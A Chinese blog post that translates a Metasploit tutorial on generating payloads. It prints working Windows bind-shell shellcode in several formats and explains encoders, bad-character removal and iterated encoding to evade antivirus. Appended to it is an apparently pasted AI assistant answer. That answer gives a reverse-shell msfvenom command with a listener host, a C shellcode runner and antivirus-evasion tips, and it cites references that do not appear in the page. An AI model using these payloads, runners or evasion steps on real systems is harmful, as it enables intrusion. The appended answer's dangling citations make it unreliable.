metasploit生成shellcode

本文介绍了在Metasploit中生成payload的方法。可使用generate命令生成shellcode,通过-b选项删除坏字符,metasploit会选最佳编码器。若限制字符过多,payload生成会失败。还能指定特殊编码器、保存文件、多次迭代编码、更改监听端口、调整输出格式和添加NOP Sled。

在Metasploit中,可以从msfconsole中生成payload。当你使用某个payload的时候,Metasploit可以添加generate,pry和reload命令。本节主要讲述generate命令的使用。

msf > use payload/windows/shell_bind_tcp
msf payload(shell_bind_tcp) > help
...snip...

    Command       Description
    -------       -----------
    generate      Generates a payload
    pry           Open a Pry session on the current module
    reload        Reload the current module from disk

我们可以使用generate -h 命令来查看不同的选项。

msf payload(shell_bind_tcp) > generate -h
Usage: generate [options]

Generates a payload.

OPTIONS:

    -E        Force encoding.
    -b   The list of characters to avoid: '\x00\xff'
    -e   The name of the encoder module to use.
    -f   The output file name (otherwise stdout)
    -h        Help banner.
    -i   the number of encoding iterations.
    -k        Keep the template executable functional
    -o   A comma separated list of options in VAR=VAL format.
    -p   The Platform for output.
    -s   NOP sled length.
    -t   The output format: raw,ruby,rb,perl,pl,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vbs,loop-vbs,asp,war
    -x   The executable template to use

下面我们将会讲解上述的一些常用选项的使用方法。

可以直接使用generate命令生成没有任何选项的shellcode

msf payload(shell_bind_tcp) > generate
# windows/shell_bind_tcp - 341 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" +
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" +
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" +
"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" +
"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" +
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" +
"\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f" +
"\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29" +
"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50" +
"\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7\x31" +
"\xdb\x53\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68" +
"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff" +
"\xd5\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7" +
"\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3" +
"\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44" +
"\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56" +
"\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86" +
"\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60" +
"\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5" +
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f" +
"\x6a\x00\x53\xff\xd5"

这样生成的shellcode而没有任何”tweeking”的概率是相当低的,通常情况下,坏字符和特定类型的编码器的使用取决于目标机器。上面这个例子中包含了一个几乎通用的坏字符(空字符 \x00)。虽然有些漏洞允许我们使用空字符,但是这样的漏洞并不多。我们可以使用generate -b ‘\x00’来生成一个shellcode并且删除空字符,当然也可以使用这个命令删除其他不需要或者不允许使用的字节。

msf  payload(shell_bind_tcp) > generate -b '\x00'
# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\xdb\xde\xba\x99\x7c\x1b\x5f\xd9\x74\x24\xf4\x5e\x2b\xc9" +
"\xb1\x56\x83\xee\xfc\x31\x56\x14\x03\x56\x8d\x9e\xee\xa3" +
"\x45\xd7\x11\x5c\x95\x88\x98\xb9\xa4\x9a\xff\xca\x94\x2a" +
"\x8b\x9f\x14\xc0\xd9\x0b\xaf\xa4\xf5\x3c\x18\x02\x20\x72" +
"\x99\xa2\xec\xd8\x59\xa4\x90\x22\x8d\x06\xa8\xec\xc0\x47" +
"\xed\x11\x2a\x15\xa6\x5e\x98\x8a\xc3\x23\x20\xaa\x03\x28" +
"\x18\xd4\x26\
...snip...

可以看到对比起之前生成的shellcode,这次生成的shellcode没有了空字符’\x00’,同时还有其他的变化例如shellcode的大小,之前的shellcode是341个字节,这次是368个字节。下面是两次的对比:

msf  payload(shell_bind_tcp) > generate
# windows/shell_bind_tcp - 341 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
...snip...

msf  payload(shell_bind_tcp) > generate -b '\x00'
# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
...snip...

我们移除这个空字符是为了确保一旦进入内存,这个shellcode仍可以正常工作。
另一个重要的变化是增加了编码器的使用。默认情况下,Metasploit将选择最好的编码器来完成手头的任务。编码器负责删除使用-b选项时输入的不需要的字符。我们将在后面更详细地讨论编码器。
当指定坏字符时,metasploit将使用最好的编码器。x86/shikata_ga_nai编码器在代码生成过程中只限制空字符时使用。如果我们增加一些坏字符,就可以使用不同的编码器来完成相同的任务。让我们在列表中再添加几个字节,看看会发生什么。

msf  payload(shell_bind_tcp) > generate -b '\x00\x44\x67\x66\xfa\x01\xe0\x44\x67\xa1\xa2\xa3\x75\x4b'
# windows/shell_bind_tcp - 366 bytes
# http://www.metasploit.com
# Encoder: x86/fnstenv_mov
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\x6a\x56\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xbf" +
"\x5c\xbf\xe8\x83\xeb\xfc\...
...snip...

我们可以看到这次使用了x86/fnstenv_mov编码器,x86/shikata_ga_nai编码器可能无法使用受限的字符列表对payload进行编码,但是x86/fnstenv_mov编码器可以做到这点。

PAYLOAD生成失败

metasploit提供的伟大特性之一就是无需使用特定字符就可以生成shellcode,但是这并不意味着可以毫无节制地限制生成shellcode的字符列表,如果给出了太多的限制字节,则没有编码器可以执行该任务,metasploit就会报错:

msf  payload(shell_bind_tcp) > generate -b '\x00\x44\x67\x66\xfa\x01\xe0\x44\x67\xa1\xa2\xa3\x75\x4b\xFF\x0a\x0b\x01\xcc\6e\x1e\x2e\x26'
[-] Payload generation failed: No encoders encoded the buffer successfully.

这就像从字母表中去掉太多的字母,然后让别人写一个完整的句子。有时候就是做不到。

使用编码器生成payload

前面说过在生成payload时,metasploit将选择最好的编码器。然而有时候会需要用到特殊的类型。假设一个漏洞只有在包含非字母数字字符(non-alphanumeric)的情况下才能成功执行,在这种情况下,shikata_ga_nai编码器并不合适,因为它使用了几乎所有可用的编码字符。我们可以使用show encoders命令查看编码器列表,我们看到x86/nonalpha编码器

msf  payload(shell_bind_tcp) > show encoders

Encoders
========

   Name                    Disclosure Date  Rank       Description
   ----                    ---------------  ----       -----------
...snip...
   x86/call4_dword_xor                      normal     Call+4 Dword XOR Encoder
   x86/context_cpuid                        manual     CPUID-based Context Keyed Payload Encoder
   x86/context_stat                         manual     stat(2)-based Context Keyed Payload Encoder
   x86/context_time                         manual     time(2)-based Context Keyed Payload Encoder
   x86/countdown                            normal     Single-byte XOR Countdown Encoder
   x86/fnstenv_mov                          normal     Variable-length Fnstenv/mov Dword XOR Encoder
   x86/jmp_call_additive                    normal     Jump/Call XOR Additive Feedback Encoder
   x86/context_stat                         manual     stat(2)-based Context Keyed Payload Encoder
   x86/context_time                         manual     time(2)-based Context Keyed Payload Encoder
   x86/countdown                            normal     Single-byte XOR Countdown Encoder
   x86/fnstenv_mov                          normal     Variable-length Fnstenv/mov Dword XOR Encoder
   x86/jmp_call_additive                    normal     Jump/Call XOR Additive Feedback Encoder
   x86/nonalpha                             low        Non-Alpha Encoder
   x86/nonupper                             low        Non-Upper Encoder
   x86/shikata_ga_nai                       excellent  Polymorphic XOR Additive Feedback Encoder
   x86/single_static_bit                    manual     Single Static Bit
   x86/unicode_mixed                        manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
   x86/unicode_upper                        manual     Alpha2 Alphanumeric Unicode Uppercase Encoder

这次我们重做bind shell payload,但这一次我们使用nonalpha编码器,命令为:generate -e 编码器名字

msf  payload(shell_bind_tcp) > generate -e x86/nonalpha
# windows/shell_bind_tcp - 489 bytes
# http://www.metasploit.com
# Encoder: x86/nonalpha
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\x66\xb9\xff\xff\xeb\x19\x5e\x8b\xfe\x83\xc7\x70\x8b\xd7" +
"\x3b\xf2\x7d\x0b\xb0\x7b\xf2\xae\xff\xcf\xac\x28\x07\xeb" +
"\xf1\xeb\x75\xe8\xe2\xff\xff\xff\x17\x29\x29\x29\x09\x31" +
"\x1a\x29\x24\x29\x39\x03\x07\x31\x2b\x33\x23\x32\x06\x06" +
"\x23\x23\x15\x30\x23\x37\x1a\x22\x21\x2a\x23\x21\x13\x13" +
"\x04\x08\x27\x13\x2f\x04\x27\x2b\x13\x10\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x13\x28\x13\x11\x25\x24\x13\x14\x28\x24\x13\x28" +
"\x28\x24\x13\x07\x24\x13\x06\x0d\x2e\x1a\x13\x18\x0e\x17" +
"\x24\x24\x24\x11\x22\x25\x15\x37\x37\x37\x27\x2b\x25\x25" +
"\x25\x35\x25\x2d\x25\x25\x28\x25\x13\x02\x2d\x25\x35\x13" +
"\x25\x13\x06\x34\x09\x0c\x11\x28\xfc\xe8\x89\x00\x00\x00" +
...snip...

如果成功的话,我们的payload将不包含任何的字母和数字字符,但是当使用与默认编码器不同的编码器时,我们必须小心,因为它会给我们更大的payload,这个例子比我们前面的例子要大得多。

我们可以使用 -f选项将payload保存到文件中,而不是只在屏幕上显示,在-f后面加上文件的路径即可。

msf  payload(shell_bind_tcp) > generate -b '\x00' -e x86/shikata_ga_nai -f /root/msfu/filename.txt
[*] Writing 1803 bytes to /root/msfu/filename.txt...
msf  payload(shell_bind_tcp) > cat ~/msfu/filename.txt
[*] exec: cat ~/msfu/filename.txt

# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\xdb\xcb\xb8\x4f\xd9\x99\x0f\xd9\x74\x24\xf4\x5a\x2b\xc9" +
"\xb1\x56\x31\x42\x18\x83\xc2\x04\x03\x42\x5b\x3b\x6c\xf3" +
"\x8b\x32\x8f\x0c\x4b\x25\x19\xe9\x7a\x77\x7d\x79\x2e\x47" +
"\xf5\x2f\xc2\x2c\x5b\xc4\x51\x40\x74\xeb\xd2\xef\xa2\xc2" +
"\xe3\xc1\x6a\x88\x27\x43\x17\xd3\x7b\xa3\x26\x1c\x8e\xa2" +
"\x6f\x41\x60\xf6\x38\x0d\xd2\xe7\x4d\x53\xee\x06\x82\xdf" +
"\x4e\x71\xa7\x20\x3a\xcb\xa6\x70\x92\x40\xe0\x68\x99\x0f" +
"\xd1\x89\x4e\x4c\x2d\xc3\xfb\xa7\xc5\xd2\x2d\xf6\x26\xe5" +
...snip...

在上面我们使用cat命令看到payload已经保存到文件中了。而且generate可以同时使用多个选项,上面我们同时使用了-b和-f选项。

下一个命令是-i(iteration),简而言之就是多次迭代编码生成最终的payload。这样做的一个原因是隐蔽,或者说是规避病毒查杀。我们比较一下使用同一个shellcode的1次迭代和2次迭代生成的bind shell payload:

msf  payload(shell_bind_tcp) > generate -b '\x00'
# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\xdb\xd9\xb8\x41\x07\x94\x72\xd9\x74\x24\xf4\x5b\x2b\xc9" +
"\xb1\x56\x31\x43\x18\x03\x43\x18\x83\xeb\xbd\xe5\x61\x8e" +
"\xd5\x63\x89\x6f\x25\x14\x03\x8a\x14\x06\x77\xde\x04\x96" +
"\xf3\xb2\xa4\x5d\x51\x27\x3f\x13\x7e\x48\x88\x9e\x58\x67" +
"\x09\x2f\x65\x2b\xc9\x31\x19\x36\x1d\x92\x20\xf9\x50\xd3" +
"\x65\xe4\x9a\x81\x3e\x62\x08\x36\x4a\x36\x90\x37\x9c\x3c" +
...snip...

--------------------------------------------------------------

msf  payload(shell_bind_tcp) > generate -b '\x00' -i 2
# windows/shell_bind_tcp - 395 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\xbd\xea\x95\xc9\x5b\xda\xcd\xd9\x74\x24\xf4\x5f\x31\xc9" +
"\xb1\x5d\x31\x6f\x12\x83\xc7\x04\x03\x85\x9b\x2b\xae\x80" +
"\x52\x72\x25\x16\x6f\x3d\x73\x9c\x0b\x38\x26\x11\xdd\xf4" +
"\x80\xd2\x1f\xf2\x1d\x96\x8b\xf8\x1f\xb7\x9c\x8f\x65\x96" +
"\xf9\x15\x99\x69\x57\x18\x7b\x09\x1c\xbc\xe6\xb9\xc5\xde" +
"\xc1\x81\xe7\xb8\xdc\x3a\x51\xaa\x34\xc0\x82\x7d\x6e\x45" +
"\xeb\x2b\x27\x08\x79\xfe\x8d\xe3\x2a\xed\x14\xe7\x46\x45" +
...snip...

对比发现,两次的输出不同。首先,两次迭代后的payload的字节大小比一次的大。迭代次数越多,payload就越大。其次,我们看到代码也变得不一样,这是由于二次编码。让我们看看5次迭代会产生多大的不同:

msf  payload(shell_bind_tcp) > generate -b '\x00' -i 5
# windows/shell_bind_tcp - 476 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\xb8\xea\x18\x9b\x0b\xda\xc4\xd9\x74\x24\xf4\x5b\x33\xc9" +
"\xb1\x71\x31\x43\x13\x83\xeb\xfc\x03\x43\xe5\xfa\x6e\xd2" +
"\x31\x23\xe4\xc1\x35\x8f\x36\xc3\x0f\x94\x11\x23\x54\x64" +
"\x0b\xf2\xf9\x9f\x4f\x1f\x01\x9c\x1c\xf5\xbf\x7e\xe8\xc5" +
"\x94\xd1\xbf\xbb\x96\x64\xef\xc1\x10\x9e\x38\x45\x1b\x65" +
...snip...

与前面的所有输出相比,这次的变化是显著的。它稍微大点,代码也基本不相似。理论上,这将使我们的payload更不容易被发现。

我们花了很多时间从一开始就用默认值生成shellcode。在bind shell的情况下,默认监听端口是4444。这通常必须改变。我们可以通过使用-o选项和端口值来改变监听端口。让我们看看可以为这个payload更改哪些选项。在msfconsole中,使用show options命令:

msf  payload(shell_bind_tcp) > show options

Module options (payload/windows/shell_bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process, none
   LPORT     4444             yes       The listen port
   RHOST                      no        The target address

默认情况下,我们的shell将监听端口4444,并且退出函数是’ process ‘。我们将把它更改为端口1234,并使用’ seh '退出函数。语法是VARIABLE=VALUE,每个选项之间用逗号分隔。在本例中,监听端口和退出函数都发生了更改,因此使用以下语法:LPORT=1234,EXITFUNC=seh。

msf  payload(shell_bind_tcp) > generate -o LPORT=1234,EXITFUNC=seh -b '\x00' -e x86/shikata_ga_nai
# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=1234, RHOST=, EXITFUNC=seh, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\xdb\xd1\xd9\x74\x24\xf4\xbb\x93\x49\x9d\x3b\x5a\x29\xc9" +
"\xb1\x56\x83\xc2\x04\x31\x5a\x14\x03\x5a\x87\xab\x68\xc7" +
"\x4f\xa2\x93\x38\x8f\xd5\x1a\xdd\xbe\xc7\x79\x95\x92\xd7" +
"\x0a\xfb\x1e\x93\x5f\xe8\x95\xd1\x77\x1f\x1e\x5f\xae\x2e" +
"\x9f\x51\x6e\xfc\x63\xf3\x12\xff\xb7\xd3\x2b\x30\xca\x12" +
"\x6b\x2d\x24\x46\x24\x39\x96\x77\x41\x7f\x2a\x79\x85\x0b" +
"\x12\x01\xa0\xcc\xe6\xbb\xab\x1c\x56\xb7\xe4\x84\xdd\x9f" +
...snip...

最后,让我们看看NOP Sled的长度和输出格式选项。当生成payload时,默认的输出格式是’ ruby '。尽管ruby语言非常强大和流行,但并不是每个人都使用它编程。我们可以让metasploit以不同的编码格式(例如Perl、C和Java)提供payload。
首先,让我们看看几种不同的输出格式,并了解如何使用-t选项。

ruby语言(默认):

msf  payload(shell_bind_tcp) > generate
# windows/shell_bind_tcp - 341 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
...snip...

C语言:

msf  payload(shell_bind_tcp) > generate -t c
/*
 * windows/shell_bind_tcp - 341 bytes
 * http://www.metasploit.com
 * VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
 * InitialAutoRunScript=, AutoRunScript=
 */
unsigned char buf[] = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
...snip...

Java:

msf  payload(shell_bind_tcp) > generate -t java
/*
 * windows/shell_bind_tcp - 341 bytes
 * http://www.metasploit.com
 * VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
 * InitialAutoRunScript=, AutoRunScript=
 */
byte shell[] = new byte[]
{
	(byte) 0xfc, (byte) 0xe8, (byte) 0x89, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x60, (byte) 0x89,
	(byte) 0xe5, (byte) 0x31, (byte) 0xd2, (byte) 0x64, (byte) 0x8b, (byte) 0x52, (byte) 0x30, (byte) 0x8b,
	(byte) 0x52, (byte) 0x0c, (byte) 0x8b, (byte) 0x52, (byte) 0x14, (byte) 0x8b, (byte) 0x72, (byte) 0x28,
	(byte) 0x0f, (byte) 0xb7, (byte) 0x4a, (byte) 0x26, (byte) 0x31, (byte) 0xff, (byte) 0x31, (byte) 0xc0,
	(byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0xc1,
...snip...

我们看到不同编程语言的输出,每个输出都遵循各自的语言语法。在Ruby中,’ # ‘用于注释,但在C中,它被斜杠和星号字符’ /* '语法取代。这三种输出中,数组都是根据所选的语言格式正确声明的。这使得我们可以直接复制和粘贴到脚本中。

在生成shellcode时,也可以在开头添加NOP Sled。添加NOP(无操作或下一个操作)Sled是通过-s选项和NOP数量来完成的,这将在payload开头添加Sled。sled越大,shellcode就越大,添加10个NOPs将增加10个字节的总大小。

msf  payload(shell_bind_tcp) > generate
# windows/shell_bind_tcp - 341 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
...snip...
msf  payload(shell_bind_tcp) > generate -s 14
# windows/shell_bind_tcp - 355 bytes
# http://www.metasploit.com
# NOP gen: x86/opty2
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\xb9\xd5\x15\x9f\x90\x04\xf8\x96\x24\x34\x1c\x98\x14\x4a" +
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
...snip...

buf数组的第一行向我们展示了在payload开头的NOP Sled。将接下来的3行代码与上面的shellcode进行比较,我们可以看到它们完全相同。跟预期一样,总字节正好增加了14个字节。

原文链接:https://www.offensive-security.com/metasploit-unleashed/generating-payloads/
笔者只是翻译,如有错误,欢迎指出。

<think>我们正在讨论生成shellcode的方法和工具。根据用户的问题,用户希望了解如何生成shellcode以及有哪些工具可以使用。根据引用内容,我们可以提供几种方法:1.使用Metasploit框架(如msfvenom)生成shellcode(引用[3]提到Metasploit生成Shellcode,引用[2]提到msfvenom)。2.使用Donut工具生成shellcode(引用[1]提到Donut)。3.使用Shellme这样的专用工具(引用[4]介绍了Shellme项目)。4.使用其他工具如shellcode_encoder(引用[2]提到)来生成可打印的shellcode或进行编码。此外,引用[3]还提供了一个示例,展示如何将生成shellcode嵌入到C程序中并编译执行。因此,我们可以向用户介绍这些工具和方法,并简要说明它们的特点。另外,用户问题中引用的内容还提到了一些选项,如x86选项(生成x86Shellcode,默认生成x64)、使用外部Shellcode文件等(引用[1])。考虑到这些,我们给出以下回答:###生成Shellcode的方法和工具生成Shellcode通常涉及将汇编代码或高级语言编写的代码转换为机器码,以便在漏洞利用或特定场景中执行。以下是几种常用的生成Shellcode的方法和工具:####1.MetasploitFramework(msfvenom)Metasploit的`msfvenom`工具是生成Shellcode的常用工具,支持多种平台和架构,并可以生成各种格式的Shellcode(如C、Python、Ruby等)。例如,生成一个Linuxx64的反向TCPShellcode的命令如下:```bashmsfvenom-plinux/x64/shell_reverse_tcpLHOST=192.168.1.100LPORT=4444-fc```这里,`-p`指定payload,`LHOST`和`LPORT`是参数,`-f`指定输出格式(这里为C语言数组格式)。####2.DonutDonut是一个工具,可以将.NET程序集转换为Shellcode。它允许你将一个.NET程序(如EXE或DLL)转换成位置无关的Shellcode,然后可以注入到内存中执行。引用[1]提到可以使用Donut生成Shellcode。####3.ShellmeShellme(引用[4])是一个命令行工具,用于从NASM汇编源文件或直接通过指令生成Shellcode。它简化了开发过程中对特定操作码的需求。例如,使用Shellme可以这样生成Shellcode:```bashpythonshellme.py-ftest.nasm```其中`test.nasm`是你的汇编源文件。####4.使用外部工具进行Shellcode编码有时需要生成可打印的Shellcode或对Shellcode进行编码以避免坏字符。引用[2]提到可以使用`shellcode_encoder`(https://github.com/ecx86/shellcode_encoder)来对x64的Shellcode进行编码。####5.手动编写汇编并提取Shellcode如果你需要高度定制的Shellcode,可以手动编写汇编代码,然后使用汇编器(如NASM)编译,再通过objdump等工具提取机器码。例如:```nasm;示例汇编代码(Linuxx64)section.textglobal_start_start:;系统调用号(sys_write)movrax,1movrdi,1learsi,[relmsg]movrdx,lensyscall;系统调用号(sys_exit)movrax,60xorrdi,rdisyscallsection.rodatamsgdb'Hello,World!',0xalenequ$-msg```编译并提取:```bashnasm-felf64hello.asm-ohello.old-ohellohello.oobjcopy-Obinary-j.texthellohello.bin#然后使用xxd或hexdump查看hello.bin的内容```####6.使用C语言嵌入Shellcode(执行Shellcode)引用[3]提供了一个示例,将Shellcode嵌入C程序中并编译执行:```c#include<stdio.h>#include<string.h>unsignedcharshellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";//这里替换为你的Shellcodeintmain(){printf("Runningshellcode...\n");void(*shell)()=(void(*)())shellcode;shell();printf("Shellcodeexecuted!\n");return0;}```编译时需要注意关闭栈保护等安全选项(例如:`gcc-zexecstack-oshellcode_testshellcode_test.c`)。###注意事项-生成Shellcode需要根据目标平台(如x86或x64)和操作系统(如Windows、Linux)选择合适的工具和payload。-在注入Shellcode时,需要确保内存区域可执行(可能需要设置内存属性)。-避免Shellcode中包含空字节(`\x00`)或其他坏字符,这可能导致Shellcode被截断。许多工具(如msfvenom)提供了编码选项来避免坏字符。§§相关问题§§1.如何避免Shellcode中的坏字符?2.Shellcode编码和解码的原理是什么?3.如何将Shellcode注入到其他进程中执行?4.如何调试生成Shellcode?</think>### 生成Shellcode的方法工具 Shellcode是用于漏洞利用或渗透测试的机器码指令片段,通常以十六进制格式表示。以下是主流生成方法及工具: #### 一、常用工具及操作 1. **Metasploit Framework (msfvenom)** - 支持多平台(Windows/Linux/macOS)和架构(x86/x64) - 基础命令: ```bash msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f c ``` `-p`指定Payload类型,`-f c`输出C语言数组格式[^3]。 - **特殊功能**: - 编码避免坏字符:`-e x86/shikata_ga_nai` - 生成可打印Shellcode:`-f python -v shellcode`[^2] 2. **Donut** - 将.NET程序集转为位置无关的Shellcode - 示例: ```bash donut -f myapp.exe -o shellcode.bin ``` 支持EXE/DLL文件,可绕过部分内存检测[^1]。 3. **Shellme (专用生成器)** - 从汇编代码直接生成Shellcode - 使用流程: ```bash python shellme.py -f test.nasm # 编译NASM汇编文件 python shellme.py "\x48\x31\xc0" # 直接输入指令 ``` 项目结构包含测试案例(如`test.nasm`)[^4]。 4. **Shellcode编码器** - 处理复杂场景(如避免空字节): ```bash # 使用开源编码器 git clone https://github.com/ecx86/shellcode_encoder python encoder.py -a x64 -s raw_shellcode.bin ``` 需确定Shellcode内存地址[^2]。 --- #### 二、Shellcode使用示例(C语言嵌入) 引用[^3]的代码模板: ```c #include <stdio.h> unsigned char shellcode[] = "\x90\x90\x90\x90"; // 替换为生成Shellcode int main() { void (*exec)() = (void (*)())shellcode; exec(); // 执行Shellcode return 0; } ``` 编译命令:`gcc -z execstack -o payload shellcode.c`(启用栈执行权限)。 --- #### 三、关键注意事项 - **架构匹配**:明确目标系统是x86还是x64(默认为x64)[^1]。 - **坏字符处理**:避免`\x00`(空字节)等影响注入的字符。 - **免杀技巧**:使用编码器(如Shikata Ga Nai)或自定义混淆。 - **调试工具**:GDB(Linux)、WinDbg(Windows)验证Shellcode执行流。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值